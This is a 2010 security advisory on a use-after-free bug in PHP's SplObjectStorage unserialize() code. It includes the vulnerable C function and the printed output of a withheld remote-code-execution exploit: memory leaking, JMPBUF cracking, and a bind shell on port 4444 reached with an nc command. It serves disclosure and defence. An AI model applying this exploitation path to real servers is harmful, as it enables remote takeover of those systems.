MOPS-2010-061: PHP SplObjectStorage Deserialization Use-After-Free Vulnerability

June 25th, 2010

A use-after-free vulnerability was discovered in the deserialization of SPLObjectStorage objects that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Risk

Critical.

Credits

This vulnerability was disclosed by Stefan Esser of SektionEins GmbH during the SyScan Singapore 2010 security conference.

Detailed information

PHP’s unserialize() function has had many memory corruption and use-after-free vulnerabilities in the past. Therefore it should be obvious by now that exposing it to user supplied input is not a good idea. However many widespread PHP applications directly unserialize() the content of cookies or POST requests. Especially closed source PHP applications developed for websites often use serialized user input.

In addition to that the APIs of popular services/applications like Wordpress transfer serialized data over insecure HTTP connections, which makes them vulnerable to unserialize() exploits via man-in-the-middle-attacks. Even more applications deserialize the content of database fields which means SQL injection vulnerabilities can be used to launch attacks against unserialize(). As demonstrated by the MOPS-2010-060 vulnerability even simple arbitrary writes to the $_SESSION variable can result in attacks against unserialize(), too. And the story does not stop here because many more applications deserialize the content of cache files, so arbitrary file overwrite vulnerabilities can be used to launch attacks against unserialize() and lead to arbitrary code execution although everything except the cache files is not writable.

While the core of the unserialize() function was audited very heavily during the last years the SPL objects shipping with PHP and supporting deserialization have not been audited very much. Therefore it was no suprise to find a use-after-free vulnerability in the SPLObjectStorage implementation that is very similar to a vulnerability in the unserialize() core that was fixed in 2004 and disclosed by us, too.

In PHP 5.3.x the actual vulnerability is caused by the spl_object_storage_attach() function removing previously inserted extra data if the same object is inserted twice.

void spl_object_storage_attach(spl_SplObjectStorage *intern, zval *obj, zval *inf TSRMLS_DC) /* {{{ */
{
    spl_SplObjectStorageElement *pelement, element;
    pelement = spl_object_storage_get(intern, obj TSRMLS_CC);
    if (inf) {
        Z_ADDREF_P(inf);
    } else {
        ALLOC_INIT_ZVAL(inf);
    }
    if (pelement) {
        zval_ptr_dtor(&pelement->inf);
        pelement->inf = inf;
        return;
    }
    Z_ADDREF_P(obj);
    element.obj = obj;
    element.inf = inf;
#if HAVE_PACKED_OBJECT_VALUE
    zend_hash_update(&intern->storage, (char*)&Z_OBJVAL_P(obj), sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);   
#else
    {
        zend_object_value zvalue;
        memset(&zvalue, 0, sizeof(zend_object_value));
        zvalue.handle = Z_OBJ_HANDLE_P(obj);
        zvalue.handlers = Z_OBJ_HT_P(obj);
        zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);
    }
#endif
} /* }}} */

Because the extra data attached to the previous object is freed in case of a duplicate entry it can be used in a use-after-free attack that as demonstrated during SyScan can be used to leak arbitrary pieces of memory and or execute arbitrary code.

In PHP 5.2.x the vulnerability is similar but not exactly the same, because SPLObjectStorage is only an object set and does not store extra data. However inserting a double value with the same binary representation of an object will result in the object being freed early which again allows similar use-after-free exploits. Due to the nature of this type confusion attack the vulnerability is only exploitable on 32 bit systems for PHP 5.2.x. This restriction does not apply to PHP 5.3.x.

Proof of concept, exploit or instructions to reproduce

Due to the dangerous nature of the vulnerability, exploit code for this vulnerability will not be published. However the following is the output of a working exploit in action.

$ ./exploit.py -h http://t.testsystem/
PHP unserialize() Remote Code Execution Exploit (TikiWiki Version)
Copyright (C) 2010 Stefan Esser/SektionEins GmbH
               *** DO NOT DISTRIBUTE ***

[+] Connecting to determine wordsize
[+] Wordsize is 32 bit
[+] Connecting to determine PHP 5.2.x vs. PHP 5.3.x
[+] PHP version is 5.3.x
[+] Connecting to determine SPLObjectStorage version
[+] PHP version >= 5.3.2
[+] Determining endianess of system
[+] System is little endian
[+] Leaking address of std_object_handlers
[+] Found std_object_handlers address to be 0xb76e84a0
[+] Leaking std_object_handlers
[+] Retrieved std_object_handlers (0xb75b5c60, 0xb75b6230, 0xb75b2300, 0xb75b4c70, 0xb75b52f0, 0xb75b3fc0, 0xb75b42b0, 0xb75b4430, 0x00000000, 0x00000000, 0xb75b3c60, 0xb75b4a40, 0xb75b57a0, 0xb75b4170, 0xb75b27d0, 0xb75b4f00, 0x00000000, 0xb75b28a0, 0xb75b27a0, 0xb75b2af0, 0xb75b2830, 0xb75b46b0, 0x00000000, 0x00000000, 0xb75b2be0)
[+] Optimized to 0xb74008f0
[+] Scanning for executable header
[+] ELF header found at 0xb73ab000
[+] Retrieving and parsing ELF header
[+] Retrieving program headers
[+] Retrieving ELF string table
[+] Looking up ELF symbol: executor_globals
[+] Found executor_globals at 0xb76fe280
[+] Looking up ELF symbol: php_execute_script
[+] Found php_execute_script at 0xb75386c0
[+] Looking up ELF symbol: zend_eval_string
[+] Found zend_eval_string at 0xb7586580
[+] Searching JMPBUF in executor_globals
[+] Found JMPBUF at 0xbfcc64b4
[+] Attempt to crack JMPBUF
[+] Determined stored EIP value 0xb753875a from pattern match
[+] Calculated XORER 0x68ab06ea
[+] Unmangled stored ESP is 0xbfcc5470
[+] Checking memory infront of JMPBUF for overwriting possibilities
[+] Found 0x28 at 0xbfcc6498 (0x3e4) using it as overwrite trampoline
[+] Returning into PHP... Spawning a shell at port 4444

...
$ nc t.testsystem 4444
Welcome to the PHPShell 5/22/2010 1:27 am

system("uname -a");
Linux fedora13x86 2.6.33.4-95.fc13.i686.PAE #1 SMP Thu May 13 05:38:26 UTC 2010 i686 i686 i386 GNU/Linux
system("id");
uid=48(apache) gid=484(apache) groups=484(apache) context=unconfined_u:system_r:httpd_t:s0    
...

Notes

This vulnerability was disclosed on June 18th, 2010 at the SyScan Singapore 2010 security conference.

Among the audience of the conference was a member of the RedHat Linux Security Team that immediately forwarded the information to other people at RedHat that patched their version of PHP and shared the information and patch with the PHP developers.

Due to the nature of the bug the exploit is very similar against different applications using unserialize() however small modifications are required.

The exploitation path demonstrated at the SyScan conference will not work against PHP installations patched with the Suhosin patch. Therefore only people that have choosen to be less secure (a.k.a. running PHP without Suhosin-Patch applied) might be in immediate danger. However the vulnerability is exploitable with a more complicated exploit on systems running Suhosin, too.




blog comments powered by Disqus